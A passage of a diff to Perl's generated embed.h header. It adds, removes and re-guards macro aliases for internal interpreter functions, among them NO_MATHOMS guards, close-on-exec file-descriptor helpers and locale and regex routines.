 #define sv_pos_b2u(a,b)		Perl_sv_pos_b2u(aTHX_ a,b)
 #define sv_pos_b2u_flags(a,b,c)	Perl_sv_pos_b2u_flags(aTHX_ a,b,c)
 #define sv_pos_u2b(a,b,c)	Perl_sv_pos_u2b(aTHX_ a,b,c)
 #define sv_pos_u2b_flags(a,b,c,d)	Perl_sv_pos_u2b_flags(aTHX_ a,b,c,d)
+#ifndef NO_MATHOMS
 #define sv_pvbyten(a,b)		Perl_sv_pvbyten(aTHX_ a,b)
+#endif
 #define sv_pvbyten_force(a,b)	Perl_sv_pvbyten_force(aTHX_ a,b)
+#ifndef NO_MATHOMS
 #define sv_pvn(a,b)		Perl_sv_pvn(aTHX_ a,b)
+#endif
 #define sv_pvn_force_flags(a,b,c)	Perl_sv_pvn_force_flags(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define sv_pvn_nomg(a,b)	Perl_sv_pvn_nomg(aTHX_ a,b)
+#endif
+#ifndef NO_MATHOMS
 #define sv_pvutf8n(a,b)		Perl_sv_pvutf8n(aTHX_ a,b)
+#endif
 #define sv_pvutf8n_force(a,b)	Perl_sv_pvutf8n_force(aTHX_ a,b)
 #define sv_recode_to_utf8(a,b)	Perl_sv_recode_to_utf8(aTHX_ a,b)
 #define sv_ref(a,b,c)		Perl_sv_ref(aTHX_ a,b,c)
@@ -669,6 +804,7 @@
 #define sv_replace(a,b)		Perl_sv_replace(aTHX_ a,b)
 #define sv_report_used()	Perl_sv_report_used(aTHX)
 #define sv_reset(a,b)		Perl_sv_reset(aTHX_ a,b)
+#define sv_rvunweaken(a)	Perl_sv_rvunweaken(aTHX_ a)
 #define sv_rvweaken(a)		Perl_sv_rvweaken(aTHX_ a)
 #define sv_set_undef(a)		Perl_sv_set_undef(aTHX_ a)
 #define sv_setiv(a,b)		Perl_sv_setiv(aTHX_ a,b)
@@ -699,6 +835,7 @@
 #define sv_setsv_mg(a,b)	Perl_sv_setsv_mg(aTHX_ a,b)
 #define sv_setuv(a,b)		Perl_sv_setuv(aTHX_ a,b)
 #define sv_setuv_mg(a,b)	Perl_sv_setuv_mg(aTHX_ a,b)
+#define sv_string_from_errnum(a,b)	Perl_sv_string_from_errnum(aTHX_ a,b)
 #define sv_tainted(a)		Perl_sv_tainted(aTHX_ a)
 #define sv_true(a)		Perl_sv_true(aTHX_ a)
 #define sv_uni_display(a,b,c,d)	Perl_sv_uni_display(aTHX_ a,b,c,d)
@@ -712,7 +849,9 @@
 #define sv_utf8_downgrade(a,b)	Perl_sv_utf8_downgrade(aTHX_ a,b)
 #define sv_utf8_encode(a)	Perl_sv_utf8_encode(aTHX_ a)
 #define sv_utf8_upgrade_flags_grow(a,b,c)	Perl_sv_utf8_upgrade_flags_grow(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define sv_uv(a)		Perl_sv_uv(aTHX_ a)
+#endif
 #define sv_vcatpvf(a,b,c)	Perl_sv_vcatpvf(aTHX_ a,b,c)
 #define sv_vcatpvf_mg(a,b,c)	Perl_sv_vcatpvf_mg(aTHX_ a,b,c)
 #define sv_vcatpvfn(a,b,c,d,e,f,g)	Perl_sv_vcatpvfn(aTHX_ a,b,c,d,e,f,g)
@@ -720,22 +859,30 @@
 #define sv_vsetpvf(a,b,c)	Perl_sv_vsetpvf(aTHX_ a,b,c)
 #define sv_vsetpvf_mg(a,b,c)	Perl_sv_vsetpvf_mg(aTHX_ a,b,c)
 #define sv_vsetpvfn(a,b,c,d,e,f,g)	Perl_sv_vsetpvfn(aTHX_ a,b,c,d,e,f,g)
-#define sync_locale()		Perl_sync_locale(aTHX)
+#define switch_to_global_locale	Perl_switch_to_global_locale
+#define sync_locale		Perl_sync_locale
 #define taint_env()		Perl_taint_env(aTHX)
 #define taint_proper(a,b)	Perl_taint_proper(aTHX_ a,b)
+#define thread_locale_init	Perl_thread_locale_init
+#define thread_locale_term	Perl_thread_locale_term
 #define to_uni_lower(a,b,c)	Perl_to_uni_lower(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define to_uni_lower_lc(a)	Perl_to_uni_lower_lc(aTHX_ a)
+#endif
 #define to_uni_title(a,b,c)	Perl_to_uni_title(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define to_uni_title_lc(a)	Perl_to_uni_title_lc(aTHX_ a)
+#endif
 #define to_uni_upper(a,b,c)	Perl_to_uni_upper(aTHX_ a,b,c)
+#ifndef NO_MATHOMS
 #define to_uni_upper_lc(a)	Perl_to_uni_upper_lc(aTHX_ a)
-#define to_utf8_case(a,b,c,d,e,f)	Perl_to_utf8_case(aTHX_ a,b,c,d,e,f)
+#endif
+#ifndef NO_MATHOMS
 #define unpack_str(a,b,c,d,e,f,g,h)	Perl_unpack_str(aTHX_ a,b,c,d,e,f,g,h)
+#endif
 #define unpackstring(a,b,c,d,e)	Perl_unpackstring(aTHX_ a,b,c,d,e)
 #define unsharepvn(a,b,c)	Perl_unsharepvn(aTHX_ a,b,c)
 #define upg_version(a,b)	Perl_upg_version(aTHX_ a,b)
-#define utf16_to_utf8(a,b,c,d)	Perl_utf16_to_utf8(aTHX_ a,b,c,d)
-#define utf16_to_utf8_reversed(a,b,c,d)	Perl_utf16_to_utf8_reversed(aTHX_ a,b,c,d)
 #define utf8_distance(a,b)	Perl_utf8_distance(aTHX_ a,b)
 #define utf8_hop		Perl_utf8_hop
 #define utf8_hop_back		Perl_utf8_hop_back
@@ -744,15 +891,19 @@
 #define utf8_length(a,b)	Perl_utf8_length(aTHX_ a,b)
 #define utf8_to_bytes(a,b)	Perl_utf8_to_bytes(aTHX_ a,b)
 #define utf8_to_uvchr(a,b)	Perl_utf8_to_uvchr(aTHX_ a,b)
+#ifndef NO_MATHOMS
 #define utf8_to_uvuni(a,b)	Perl_utf8_to_uvuni(aTHX_ a,b)
+#endif
 #define utf8_to_uvuni_buf(a,b,c)	Perl_utf8_to_uvuni_buf(aTHX_ a,b,c)
-#define utf8n_to_uvchr_error(a,b,c,d,e)	Perl_utf8n_to_uvchr_error(aTHX_ a,b,c,d,e)
+#define utf8n_to_uvchr_msgs(a,b,c,d,e,f)	Perl_utf8n_to_uvchr_msgs(aTHX_ a,b,c,d,e,f)
 #define utf8n_to_uvuni(a,b,c,d)	Perl_utf8n_to_uvuni(aTHX_ a,b,c,d)
-#define uvoffuni_to_utf8_flags(a,b,c)	Perl_uvoffuni_to_utf8_flags(aTHX_ a,b,c)
+#define uvoffuni_to_utf8_flags_msgs(a,b,c,d)	Perl_uvoffuni_to_utf8_flags_msgs(aTHX_ a,b,c,d)
 #define uvuni_to_utf8(a,b)	Perl_uvuni_to_utf8(aTHX_ a,b)
 #define uvuni_to_utf8_flags(a,b,c)	Perl_uvuni_to_utf8_flags(aTHX_ a,b,c)
 #define valid_utf8_to_uvchr	Perl_valid_utf8_to_uvchr
+#ifndef NO_MATHOMS
 #define valid_utf8_to_uvuni(a,b)	Perl_valid_utf8_to_uvuni(aTHX_ a,b)
+#endif
 #define vcmp(a,b)		Perl_vcmp(aTHX_ a,b)
 #define vcroak(a,b)		Perl_vcroak(aTHX_ a,b)
 #define vdeb(a,b)		Perl_vdeb(aTHX_ a,b)
@@ -776,6 +927,7 @@
 #define whichsig_pv(a)		Perl_whichsig_pv(aTHX_ a)
 #define whichsig_pvn(a,b)	Perl_whichsig_pvn(aTHX_ a,b)
 #define whichsig_sv(a)		Perl_whichsig_sv(aTHX_ a)
+#define wrap_keyword_plugin(a,b)	Perl_wrap_keyword_plugin(aTHX_ a,b)
 #define wrap_op_checker(a,b,c)	Perl_wrap_op_checker(aTHX_ a,b,c)
 #if !(defined(HAS_MEMMEM))
 #define ninstr			Perl_ninstr
@@ -783,18 +935,9 @@
 #if !(defined(HAS_SIGACTION) && defined(SA_SIGINFO))
 #define csighandler		Perl_csighandler
 #endif
-#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
-#define my_bzero		Perl_my_bzero
+#if !defined(EBCDIC)
+#define _variant_byte_number	S__variant_byte_number
 #endif
-#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
-#define my_memcmp		Perl_my_memcmp
-#endif
-#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
-#define my_bcopy		Perl_my_bcopy
-#endif
-#if !defined(HAS_MEMSET)
-#define my_memset		Perl_my_memset
-#endif
 #if !defined(HAS_TRUNCATE) && !defined(HAS_CHSIZE) && defined(F_FREESP)
 #define my_chsize(a,b)		Perl_my_chsize(aTHX_ a,b)
 #endif
@@ -825,9 +968,6 @@
 #if defined(DEBUGGING)
 #define pad_setsv(a,b)		Perl_pad_setsv(aTHX_ a,b)
 #define pad_sv(a)		Perl_pad_sv(aTHX_ a)
-#  if defined(USE_LOCALE)     && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
-#define _setlocale_debug_string	Perl__setlocale_debug_string
-#  endif
 #endif
 #if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
 #define csighandler		Perl_csighandler
@@ -853,11 +993,15 @@
 #define deb_nocontext		Perl_deb_nocontext
 #define die_nocontext		Perl_die_nocontext
 #define form_nocontext		Perl_form_nocontext
+#ifndef NO_MATHOMS
 #define fprintf_nocontext	Perl_fprintf_nocontext
+#endif
 #define load_module_nocontext	Perl_load_module_nocontext
 #define mess_nocontext		Perl_mess_nocontext
 #define newSVpvf_nocontext	Perl_newSVpvf_nocontext
+#ifndef NO_MATHOMS
 #define printf_nocontext	Perl_printf_nocontext
+#endif
 #define sv_catpvf_mg_nocontext	Perl_sv_catpvf_mg_nocontext
 #define sv_catpvf_nocontext	Perl_sv_catpvf_nocontext
 #define sv_setpvf_mg_nocontext	Perl_sv_setpvf_mg_nocontext
@@ -895,7 +1039,7 @@
 #define sv_dup(a,b)		Perl_sv_dup(aTHX_ a,b)
 #define sv_dup_inc(a,b)		Perl_sv_dup_inc(aTHX_ a,b)
 #endif
-#if defined(USE_LOCALE)     && (defined(PERL_IN_LOCALE_C) || defined (PERL_EXT_POSIX))
+#if defined(USE_LOCALE)		    && (   defined(PERL_IN_LOCALE_C)	        || defined(PERL_IN_MG_C)		|| defined (PERL_EXT_POSIX)		|| defined (PERL_EXT_LANGINFO))
 #define _is_cur_LC_category_utf8(a)	Perl__is_cur_LC_category_utf8(aTHX_ a)
 #endif
 #if defined(USE_LOCALE_COLLATE)
@@ -929,9 +1073,6 @@
 #define quadmath_format_needed	Perl_quadmath_format_needed
 #define quadmath_format_single	Perl_quadmath_format_single
 #endif
-#if defined(WIN32)
-#define my_setlocale(a,b)	Perl_my_setlocale(aTHX_ a,b)
-#endif
 #if defined(WIN32) || defined(__SYMBIAN32__) || defined(VMS)
 #define do_aspawn(a,b,c)	Perl_do_aspawn(aTHX_ a,b,c)
 #define do_spawn(a)		Perl_do_spawn(aTHX_ a)
@@ -938,7 +1079,8 @@
 #define do_spawn_nowait(a)	Perl_do_spawn_nowait(aTHX_ a)
 #endif
 #if defined(PERL_CORE) || defined(PERL_EXT)
-#define _warn_problematic_locale	Perl__warn_problematic_locale
+#define _byte_dump_string(a,b,c)	Perl__byte_dump_string(aTHX_ a,b,c)
+#define _inverse_folds(a,b,c)	Perl__inverse_folds(aTHX_ a,b,c)
 #define append_utf8_from_native_byte	S_append_utf8_from_native_byte
 #define av_reify(a)		Perl_av_reify(aTHX_ a)
 #define current_re_engine()	Perl_current_re_engine(aTHX)
@@ -945,8 +1087,10 @@
 #define cv_ckproto_len_flags(a,b,c,d,e)	Perl_cv_ckproto_len_flags(aTHX_ a,b,c,d,e)
 #define grok_atoUV		Perl_grok_atoUV
 #define mg_find_mglob(a)	Perl_mg_find_mglob(aTHX_ a)
+#define multiconcat_stringify(a)	Perl_multiconcat_stringify(aTHX_ a)
 #define multideref_stringify(a,b)	Perl_multideref_stringify(aTHX_ a,b)
 #define op_clear(a)		Perl_op_clear(aTHX_ a)
+#define parse_uniprop_string(a,b,c,d)	Perl_parse_uniprop_string(aTHX_ a,b,c,d)
 #define qerror(a)		Perl_qerror(aTHX_ a)
 #define reg_named_buff(a,b,c,d)	Perl_reg_named_buff(aTHX_ a,b,c,d)
 #define reg_named_buff_iter(a,b,c)	Perl_reg_named_buff_iter(aTHX_ a,b,c)
@@ -960,9 +1104,14 @@
 #define sv_only_taint_gmagic	S_sv_only_taint_gmagic
 #define swash_fetch(a,b,c)	Perl_swash_fetch(aTHX_ a,b,c)
 #define swash_init(a,b,c,d,e)	Perl_swash_init(aTHX_ a,b,c,d,e)
-#define validate_proto(a,b,c)	Perl_validate_proto(aTHX_ a,b,c)
+#define utf16_to_utf8(a,b,c,d)	Perl_utf16_to_utf8(aTHX_ a,b,c,d)
+#define utf16_to_utf8_reversed(a,b,c,d)	Perl_utf16_to_utf8_reversed(aTHX_ a,b,c,d)
+#define validate_proto(a,b,c,d)	Perl_validate_proto(aTHX_ a,b,c,d)
 #define vivify_defelem(a)	Perl_vivify_defelem(aTHX_ a)
 #define yylex()			Perl_yylex(aTHX)
+#  if ! defined(HAS_MEMRCHR) && (defined(PERL_CORE) || defined(PERL_EXT))
+#define my_memrchr		S_my_memrchr
+#  endif
 #  if !defined(PERL_EXT_RE_BUILD)
 #    if defined(PERL_IN_REGCOMP_C)
 #define _append_range_to_invlist(a,b,c)	S__append_range_to_invlist(aTHX_ a,b,c)
@@ -1012,8 +1161,13 @@
 #define sv_setsv_cow(a,b)	Perl_sv_setsv_cow(aTHX_ a,b)
 #  endif
 #  if defined(PERL_CORE) || defined (PERL_EXT)
+#define is_utf8_non_invariant_string	S_is_utf8_non_invariant_string
 #define sv_or_pv_pos_u2b(a,b,c,d)	S_sv_or_pv_pos_u2b(aTHX_ a,b,c,d)
 #  endif
+#  if defined(PERL_CORE) || defined(PERL_EXT)
+#define isSCRIPT_RUN(a,b,c)	Perl_isSCRIPT_RUN(aTHX_ a,b,c)
+#define variant_under_utf8_count	S_variant_under_utf8_count
+#  endif
 #  if defined(PERL_IN_REGCOMP_C)
 #define _make_exactf_invlist(a,b)	S__make_exactf_invlist(aTHX_ a,b)
 #define add_above_Latin1_folds(a,b,c)	S_add_above_Latin1_folds(aTHX_ a,b,c)
@@ -1025,6 +1179,7 @@
 #define compute_EXACTish	S_compute_EXACTish
 #define construct_ahocorasick_from_trie(a,b,c)	S_construct_ahocorasick_from_trie(aTHX_ a,b,c)
 #define edit_distance		S_edit_distance
+#define get_ANYOFM_contents(a)	S_get_ANYOFM_contents(aTHX_ a)
 #define get_ANYOF_cp_list_for_ssc(a,b)	S_get_ANYOF_cp_list_for_ssc(aTHX_ a,b)
 #define get_invlist_iter_addr	S_get_invlist_iter_addr
 #define grok_bslash_N(a,b,c,d,e,f,g)	S_grok_bslash_N(aTHX_ a,b,c,d,e,f,g)
@@ -1042,6 +1197,7 @@
 #define is_ssc_worth_it		S_is_ssc_worth_it
 #define join_exact(a,b,c,d,e,f,g)	S_join_exact(aTHX_ a,b,c,d,e,f,g)
 #define make_trie(a,b,c,d,e,f,g,h)	S_make_trie(aTHX_ a,b,c,d,e,f,g,h)
+#define new_regcurly		S_new_regcurly
 #define nextchar(a)		S_nextchar(aTHX_ a)
 #define output_or_return_posix_warnings(a,b,c)	S_output_or_return_posix_warnings(aTHX_ a,b,c)
 #define parse_lparen_question_flags(a)	S_parse_lparen_question_flags(aTHX_ a)
@@ -1086,18 +1242,16 @@
 #  endif
 #  if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
 #define _get_regclass_nonbitmap_data(a,b,c,d,e,f)	Perl__get_regclass_nonbitmap_data(aTHX_ a,b,c,d,e,f)
-#define _load_PL_utf8_foldclosures()	Perl__load_PL_utf8_foldclosures(aTHX)
 #ifndef PERL_IMPLICIT_CONTEXT
 #define re_printf		Perl_re_printf
 #endif
 #define regprop(a,b,c,d,e)	Perl_regprop(aTHX_ a,b,c,d,e)
 #  endif
-#  if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C)
+#  if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_UTF8_C)
 #define _get_swash_invlist(a)	Perl__get_swash_invlist(aTHX_ a)
 #define _invlist_contains_cp	S__invlist_contains_cp
 #define _invlist_len		S__invlist_len
 #define _invlist_search		Perl__invlist_search
-#define _swash_inversion_hash(a)	Perl__swash_inversion_hash(aTHX_ a)
 #define get_invlist_offset_addr	S_get_invlist_offset_addr
 #define invlist_array		S_invlist_array
 #  endif
@@ -1107,8 +1261,8 @@
 #  if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C)
 #define form_short_octal_warning(a,b)	S_form_short_octal_warning(aTHX_ a,b)
 #define grok_bslash_c(a,b)	Perl_grok_bslash_c(aTHX_ a,b)
-#define grok_bslash_o(a,b,c,d,e,f,g)	Perl_grok_bslash_o(aTHX_ a,b,c,d,e,f,g)
-#define grok_bslash_x(a,b,c,d,e,f,g)	Perl_grok_bslash_x(aTHX_ a,b,c,d,e,f,g)
+#define grok_bslash_o(a,b,c,d,e,f,g,h)	Perl_grok_bslash_o(aTHX_ a,b,c,d,e,f,g,h)
+#define grok_bslash_x(a,b,c,d,e,f,g,h)	Perl_grok_bslash_x(aTHX_ a,b,c,d,e,f,g,h)
 #define regcurly		S_regcurly
 #  endif
 #  if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C)
@@ -1130,7 +1284,12 @@
 #define backup_one_SB(a,b,c)	S_backup_one_SB(aTHX_ a,b,c)
 #define backup_one_WB(a,b,c,d)	S_backup_one_WB(aTHX_ a,b,c,d)
 #define find_byclass(a,b,c,d,e)	S_find_byclass(aTHX_ a,b,c,d,e)
-#define isFOO_utf8_lc(a,b)	S_isFOO_utf8_lc(aTHX_ a,b)
+#define find_next_ascii		S_find_next_ascii
+#define find_next_masked	S_find_next_masked
+#define find_next_non_ascii	S_find_next_non_ascii
+#define find_span_end		S_find_span_end
+#define find_span_end_mask	S_find_span_end_mask
+#define isFOO_utf8_lc(a,b,c)	S_isFOO_utf8_lc(aTHX_ a,b,c)
 #define isGCB(a,b,c,d,e)	S_isGCB(aTHX_ a,b,c,d,e)
 #define isLB(a,b,c,d,e,f)	S_isLB(aTHX_ a,b,c,d,e,f)
 #define isSB(a,b,c,d,e,f)	S_isSB(aTHX_ a,b,c,d,e,f)
@@ -1156,13 +1315,18 @@
 #define isFOO_lc(a,b)		Perl_isFOO_lc(aTHX_ a,b)
 #  endif
 #  if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
-#define _to_fold_latin1(a,b,c,d)	Perl__to_fold_latin1(aTHX_ a,b,c,d)
+#define _to_fold_latin1		Perl__to_fold_latin1
 #  endif
 #endif
 #ifdef PERL_CORE
+#define PerlLIO_dup2_cloexec(a,b)	Perl_PerlLIO_dup2_cloexec(aTHX_ a,b)
+#define PerlLIO_dup_cloexec(a)	Perl_PerlLIO_dup_cloexec(aTHX_ a)
+#define PerlLIO_open3_cloexec(a,b,c)	Perl_PerlLIO_open3_cloexec(aTHX_ a,b,c)
+#define PerlLIO_open_cloexec(a,b)	Perl_PerlLIO_open_cloexec(aTHX_ a,b)
 #define Slab_Alloc(a)		Perl_Slab_Alloc(aTHX_ a)
 #define Slab_Free(a)		Perl_Slab_Free(aTHX_ a)
-#define _byte_dump_string(a,b,c)	Perl__byte_dump_string(aTHX_ a,b,c)
+#define _is_in_locale_category(a,b)	Perl__is_in_locale_category(aTHX_ a,b)
+#define _warn_problematic_locale	Perl__warn_problematic_locale
 #define abort_execution(a,b)	Perl_abort_execution(aTHX_ a,b)
 #define alloc_LOGOP(a,b,c)	Perl_alloc_LOGOP(aTHX_ a,b,c)
 #define allocmy(a,b,c)		Perl_allocmy(aTHX_ a,b,c)
@@ -1169,6 +1333,7 @@
 #define amagic_is_enabled(a)	Perl_amagic_is_enabled(aTHX_ a)
 #define apply(a,b,c)		Perl_apply(aTHX_ a,b,c)
 #define av_extend_guts(a,b,c,d,e)	Perl_av_extend_guts(aTHX_ a,b,c,d,e)
+#define av_nonelem(a,b)		Perl_av_nonelem(aTHX_ a,b)
 #define bind_match(a,b,c)	Perl_bind_match(aTHX_ a,b,c)
 #define boot_core_PerlIO()	Perl_boot_core_PerlIO(aTHX)
 #define boot_core_UNIVERSAL()	Perl_boot_core_UNIVERSAL(aTHX)
@@ -1243,10 +1408,9 @@
 #define do_aexec5(a,b,c,d,e)	Perl_do_aexec5(aTHX_ a,b,c,d,e)
 #define do_dump_pad(a,b,c,d)	Perl_do_dump_pad(aTHX_ a,b,c,d)
 #define do_eof(a)		Perl_do_eof(aTHX_ a)
-#define do_execfree()		Perl_do_execfree(aTHX)
 #define do_ncmp(a,b)		Perl_do_ncmp(aTHX_ a,b)
 #define do_open6(a,b,c,d,e,f)	Perl_do_open6(aTHX_ a,b,c,d,e,f)
-#define do_open_raw(a,b,c,d,e)	Perl_do_open_raw(aTHX_ a,b,c,d,e)
+#define do_open_raw(a,b,c,d,e,f)	Perl_do_open_raw(aTHX_ a,b,c,d,e,f)
 #define do_print(a,b)		Perl_do_print(aTHX_ a,b)
 #define do_readline()		Perl_do_readline(aTHX)
 #define do_seek(a,b,c)		Perl_do_seek(aTHX_ a,b,c)
@@ -1273,9 +1437,12 @@
 #define gv_try_downgrade(a)	Perl_gv_try_downgrade(aTHX_ a)
 #define hv_ename_add(a,b,c,d)	Perl_hv_ename_add(aTHX_ a,b,c,d)
 #define hv_ename_delete(a,b,c,d)	Perl_hv_ename_delete(aTHX_ a,b,c,d)
+#define hv_pushkv(a,b)		Perl_hv_pushkv(aTHX_ a,b)
 #define init_argv_symbols(a,b)	Perl_init_argv_symbols(aTHX_ a,b)
 #define init_constants()	Perl_init_constants(aTHX)
 #define init_debugger()		Perl_init_debugger(aTHX)
+#define init_named_cv(a,b)	Perl_init_named_cv(aTHX_ a,b)
+#define init_uniprops()		Perl_init_uniprops(aTHX)
 #define invert(a)		Perl_invert(aTHX_ a)
 #define io_close(a,b,c,d)	Perl_io_close(aTHX_ a,b,c,d)
 #define isinfnansv(a)		Perl_isinfnansv(aTHX_ a)
@@ -1324,6 +1491,7 @@
 #define magic_setlvref(a,b)	Perl_magic_setlvref(aTHX_ a,b)
 #define magic_setmglob(a,b)	Perl_magic_setmglob(aTHX_ a,b)
 #define magic_setnkeys(a,b)	Perl_magic_setnkeys(aTHX_ a,b)
+#define magic_setnonelem(a,b)	Perl_magic_setnonelem(aTHX_ a,b)
 #define magic_setpack(a,b)	Perl_magic_setpack(aTHX_ a,b)
 #define magic_setpos(a,b)	Perl_magic_setpos(aTHX_ a,b)
 #define magic_setregexp(a,b)	Perl_magic_setregexp(aTHX_ a,b)
@@ -1343,6 +1511,7 @@
 #define my_clearenv()		Perl_my_clearenv(aTHX)
 #define my_lstat_flags(a)	Perl_my_lstat_flags(aTHX_ a)
 #define my_stat_flags(a)	Perl_my_stat_flags(aTHX_ a)
+#define my_strerror(a)		Perl_my_strerror(aTHX_ a)
 #define my_unexec()		Perl_my_unexec(aTHX)
 #define newATTRSUB_x(a,b,c,d,e,f)	Perl_newATTRSUB_x(aTHX_ a,b,c,d,e,f)
 #define newSTUB(a,b)		Perl_newSTUB(aTHX_ a,b)
@@ -1355,6 +1524,7 @@
 #define oopsAV(a)		Perl_oopsAV(aTHX_ a)
 #define oopsHV(a)		Perl_oopsHV(aTHX_ a)
 #define op_unscope(a)		Perl_op_unscope(aTHX_ a)
+#define optimize_optree(a)	Perl_optimize_optree(aTHX_ a)
 #define package(a)		Perl_package(aTHX_ a)
 #define package_version(a)	Perl_package_version(aTHX_ a)
 #define pad_add_weakref(a)	Perl_pad_add_weakref(aTHX_ a)
@@ -1390,6 +1560,13 @@
 #define scalar(a)		Perl_scalar(aTHX_ a)
 #define scalarvoid(a)		Perl_scalarvoid(aTHX_ a)
 #define set_caret_X()		Perl_set_caret_X(aTHX)
+#define set_numeric_standard()	Perl_set_numeric_standard(aTHX)
+#define set_numeric_underlying()	Perl_set_numeric_underlying(aTHX)
+#define setfd_cloexec		Perl_setfd_cloexec
+#define setfd_cloexec_for_nonsysfd(a)	Perl_setfd_cloexec_for_nonsysfd(aTHX_ a)
+#define setfd_cloexec_or_inhexec_by_sysfdness(a)	Perl_setfd_cloexec_or_inhexec_by_sysfdness(aTHX_ a)
+#define setfd_inhexec		Perl_setfd_inhexec
+#define setfd_inhexec_for_sysfd(a)	Perl_setfd_inhexec_for_sysfd(aTHX_ a)
 #define sub_crush_depth(a)	Perl_sub_crush_depth(aTHX_ a)
 #define sv_2num(a)		Perl_sv_2num(aTHX_ a)
 #define sv_clean_all()		Perl_sv_clean_all(aTHX)
@@ -1424,6 +1601,11 @@
 #      endif
 #    endif
 #  endif
+#  if !(defined(HAS_NL_LANGINFO))
+#    if defined(PERL_IN_LOCALE_C)
+#define my_nl_langinfo		S_my_nl_langinfo
+#    endif
+#  endif
 #  if !(defined(HAS_SIGACTION) && defined(SA_SIGINFO))
 #define sighandler		Perl_sighandler
 #  endif
@@ -1472,12 +1654,27 @@
 #define mulexp10		S_mulexp10
 #    endif
 #  endif
+#  if !defined(UV_IS_QUAD)
+#    if defined(PERL_IN_UTF8_C)
+#define is_utf8_cp_above_31_bits	S_is_utf8_cp_above_31_bits
+#    endif
+#  endif
 #  if !defined(WIN32)
 #define do_exec3(a,b,c)		Perl_do_exec3(aTHX_ a,b,c)
 #  endif
+#  if defined (HAS_SOCKETPAIR) ||     (defined (HAS_SOCKET) && defined(SOCK_DGRAM) && 	defined(AF_INET) && defined(PF_INET))
+#define PerlSock_socketpair_cloexec(a,b,c,d)	Perl_PerlSock_socketpair_cloexec(aTHX_ a,b,c,d)
+#  endif
 #  if defined(DEBUGGING)
 #define get_debug_opts(a,b)	Perl_get_debug_opts(aTHX_ a,b)
 #define set_padlist		Perl_set_padlist
+#    if defined(PERL_IN_LOCALE_C)
+#      if defined(USE_LOCALE)
+#define print_bytes_for_locale(a,b,c)	S_print_bytes_for_locale(aTHX_ a,b,c)
+#define print_collxfrm_input_and_return(a,b,c,d)	S_print_collxfrm_input_and_return(aTHX_ a,b,c,d)
+#define setlocale_debug_string	S_setlocale_debug_string
+#      endif
+#    endif
 #    if defined(PERL_IN_PAD_C)
 #define cv_dump(a,b)		S_cv_dump(aTHX_ a,b)
 #    endif
@@ -1488,9 +1685,6 @@
 #define printbuf(a,b)		S_printbuf(aTHX_ a,b)
 #define tokereport(a,b)		S_tokereport(aTHX_ a,b)
 #    endif
-#    if defined(USE_LOCALE) && defined(PERL_IN_LOCALE_C)
-#define print_collxfrm_input_and_return(a,b,c,d)	S_print_collxfrm_input_and_return(aTHX_ a,b,c,d)
-#    endif
 #  endif
 #  if defined(DEBUG_LEAKING_SCALARS_FORK_DUMP)
 #define dump_sv_child(a)	Perl_dump_sv_child(aTHX_ a)
@@ -1503,9 +1697,21 @@
 #define do_semop(a,b)		Perl_do_semop(aTHX_ a,b)
 #define do_shmio(a,b,c)		Perl_do_shmio(aTHX_ a,b,c)
 #  endif
+#  if defined(HAS_NL_LANGINFO)
+#    if defined(PERL_IN_LOCALE_C)
+#define my_nl_langinfo		S_my_nl_langinfo
+#    endif
+#  endif
+#  if defined(HAS_PIPE)
+#define PerlProc_pipe_cloexec(a)	Perl_PerlProc_pipe_cloexec(aTHX_ a)
+#  endif
 #  if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
 #define sighandler		Perl_sighandler
 #  endif
+#  if defined(HAS_SOCKET)
+#define PerlSock_accept_cloexec(a,b,c)	Perl_PerlSock_accept_cloexec(aTHX_ a,b,c)
+#define PerlSock_socket_cloexec(a,b,c)	Perl_PerlSock_socket_cloexec(aTHX_ a,b,c)
+#  endif
 #  if defined(MYMALLOC)
 #define malloc_good_size	Perl_malloc_good_size
 #define malloced_size		Perl_malloced_size
@@ -1542,7 +1748,7 @@
 #  if defined(PERL_IN_DOIO_C)
 #define exec_failed(a,b,c)	S_exec_failed(aTHX_ a,b,c)
 #define ingroup(a,b)		S_ingroup(aTHX_ a,b)
-#define openn_cleanup(a,b,c,d,e,f,g,h,i,j,k,l)	S_openn_cleanup(aTHX_ a,b,c,d,e,f,g,h,i,j,k,l)
+#define openn_cleanup(a,b,c,d,e,f,g,h,i,j,k,l,m)	S_openn_cleanup(aTHX_ a,b,c,d,e,f,g,h,i,j,k,l,m)
 #define openn_setup(a,b,c,d,e,f)	S_openn_setup(aTHX_ a,b,c,d,e,f)
 #  endif
 #  if defined(PERL_IN_DOOP_C)
@@ -1574,12 +1780,12 @@
 #  endif
 #  if defined(PERL_IN_HV_C)
 #define clear_placeholders(a,b)	S_clear_placeholders(aTHX_ a,b)
-#define hfreeentries(a)		S_hfreeentries(aTHX_ a)
 #define hsplit(a,b,c)		S_hsplit(aTHX_ a,b,c)
 #define hv_auxinit(a)		S_hv_auxinit(aTHX_ a)
 #define hv_auxinit_internal	S_hv_auxinit_internal
 #define hv_delete_common(a,b,c,d,e,f,g)	S_hv_delete_common(aTHX_ a,b,c,d,e,f,g)
 #define hv_free_ent_ret(a,b)	S_hv_free_ent_ret(aTHX_ a,b)
+#define hv_free_entries(a)	S_hv_free_entries(aTHX_ a)
 #define hv_magic_check		S_hv_magic_check
 #define hv_notallowed(a,b,c,d)	S_hv_notallowed(aTHX_ a,b,c,d)
 #define new_he()		S_new_he(aTHX)
@@ -1589,6 +1795,25 @@
 #define share_hek_flags(a,b,c,d)	S_share_hek_flags(aTHX_ a,b,c,d)
